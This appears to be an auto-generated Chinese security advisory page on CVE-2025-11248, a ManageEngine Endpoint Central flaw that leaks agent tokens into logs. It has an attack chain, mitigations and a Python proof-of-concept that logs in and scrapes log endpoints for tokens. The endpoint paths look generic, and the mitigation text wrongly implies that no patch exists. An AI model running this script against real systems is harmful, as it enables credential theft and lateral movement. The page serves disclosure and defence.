IPBUF安全漏洞报告
English
CVE-2025-11248 CVSS 3.2 低危

CVE-2025-11248: ManageEngine Endpoint Central敏感信息日志泄露漏洞

披露日期: 2025-10-27
来源: 0fc0942c-577d-436f-ae8e-945763c79b02

漏洞信息

漏洞编号
CVE-2025-11248
漏洞类型
敏感信息泄露
CVSS评分
3.2 低危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
ZohoCorp ManageEngine Endpoint Central

相关标签

敏感信息泄露日志记录问题ManageEngine Endpoint CentralZohoCorpCVE-2025-11248本地攻击低权限认证Agent Token端点管理

漏洞概述

CVE-2025-11248是ZohoCorp ManageEngine Endpoint Central中的一个敏感信息日志记录漏洞。该漏洞存在于11.4.2528.05之前的所有版本中,由于系统日志记录了敏感的agent token信息,认证用户通过访问日志即可获取这些敏感凭证。ManageEngine Endpoint Central是一款企业级端点管理和安全解决方案,广泛应用于Windows、Mac和Linux系统的集中管理。攻击者利用此漏洞需要具备有效的用户认证凭据,并且能够访问系统日志功能。虽然该漏洞的CVSS评分较低(3.2),但泄露的agent token可能进一步被用于横向移动或权限提升攻击,对企业网络安全构成潜在威胁。

技术细节

该漏洞属于敏感信息日志记录问题(Sensitive Information Logging)。在ManageEngine Endpoint Central的日志记录机制中,系统将敏感的agent token明文存储在日志文件中。Agent token是Endpoint Central代理与管理服务器之间通信的身份验证凭证,具有较高的安全重要性。漏洞原理如下:1) Endpoint Central Agent在注册或通信过程中生成agent token;2) 系统在日志模块中记录了包含agent token的调试或操作日志;3) 具有日志访问权限的认证用户可以读取这些日志文件;4) 攻击者获取agent token后可能冒充合法agent与服务器通信。由于该漏洞需要本地访问权限(AV:L)和低权限认证(PR:L),且需要用户交互(UI:R),实际利用难度相对较高。攻击者主要通过日志文件路径遍历或直接访问日志目录来获取敏感token信息。

攻击链分析

STEP 1
步骤1
获取ManageEngine Endpoint Central的有效用户凭据(低权限账户即可)
STEP 2
步骤2
登录Endpoint Central管理控制台
STEP 3
步骤3
导航到日志查看功能模块
STEP 4
步骤4
搜索或浏览包含agent token的日志条目
STEP 5
步骤5
提取日志中明文存储的agent token
STEP 6
步骤6
使用窃取的agent token与服务器通信,可能实现横向移动或权限提升

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11248 PoC - ManageEngine Endpoint Central Agent Token Leak # This PoC demonstrates how an authenticated user can obtain agent tokens from logs import requests import re import base64 from urllib.parse import urljoin def exploit_cve_2025_11248(target_url, username, password): """ Exploit for CVE-2025-11248: Sensitive Information Logging in ManageEngine Endpoint Central Requirements: - Valid credentials for authenticated access - Access to log viewing functionality Note: This PoC is for educational and authorized testing purposes only. """ print(f"[*] Target: {target_url}") print(f"[*] User: {username}") # Step 1: Authentication session = requests.Session() login_url = urljoin(target_url, '/api/v1/auth/login') login_data = { 'username': username, 'password': password } try: response = session.post(login_url, json=login_data, timeout=30) if response.status_code != 200: print("[-] Authentication failed") return None print("[+] Authentication successful") except requests.RequestException as e: print(f"[-] Connection error: {e}") return None # Step 2: Access log files containing agent tokens log_urls = [ '/api/v1/logs/agent_logs', '/api/v1/logs/debug', '/api/v1/logs/operations', '/api/v1/logs/central_logs' ] agent_tokens = [] for log_url in log_urls: try: full_url = urljoin(target_url, log_url) response = session.get(full_url, timeout=30) if response.status_code == 200: # Search for agent token patterns in logs # Token patterns: alphanumeric strings of 32+ characters token_pattern = r'agent[_\-]?token[=:]\s*([a-zA-Z0-9\-_]{32,})' matches = re.findall(token_pattern, response.text, re.IGNORECASE) if matches: print(f"[+] Found potential agent tokens in {log_url}") agent_tokens.extend(matches) # Also search for base64 encoded tokens b64_pattern = r'agent[_\-]?token[=:]\s*([A-Za-z0-9+/=]{40,})' b64_matches = re.findall(b64_pattern, response.text) agent_tokens.extend(b64_matches) except requests.RequestException: continue # Step 3: Extract and display found tokens if agent_tokens: print(f"\n[+] Found {len(agent_tokens)} potential agent token(s):") for i, token in enumerate(set(agent_tokens), 1): print(f" Token {i}: {token}") return list(set(agent_tokens)) else: print("[-] No agent tokens found in accessible logs") return None def main(): # Configuration target = "https://target-manageengine:8383" username = "low_privilege_user" password = "user_password" tokens = exploit_cve_2025_11248(target, username, password) if tokens: print("\n[!] Vulnerability confirmed: Agent tokens exposed in logs") else: print("\n[-] No tokens found or access denied") if __name__ == "__main__": main()

影响范围

ManageEngine Endpoint Central < 11.4.2528.05

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1) 严格控制Endpoint Central的访问权限,确保只有授权管理员能够访问日志功能;2) 启用详细的访问审计日志,监控用户对日志文件的访问行为;3) 定期检查日志文件内容,手动搜索是否存在敏感token信息泄露;4) 考虑网络隔离,限制对Endpoint Central管理接口的访问来源;5) 实施多因素认证,增强认证安全性;6) 监控agent与管理服务器之间的异常通信模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表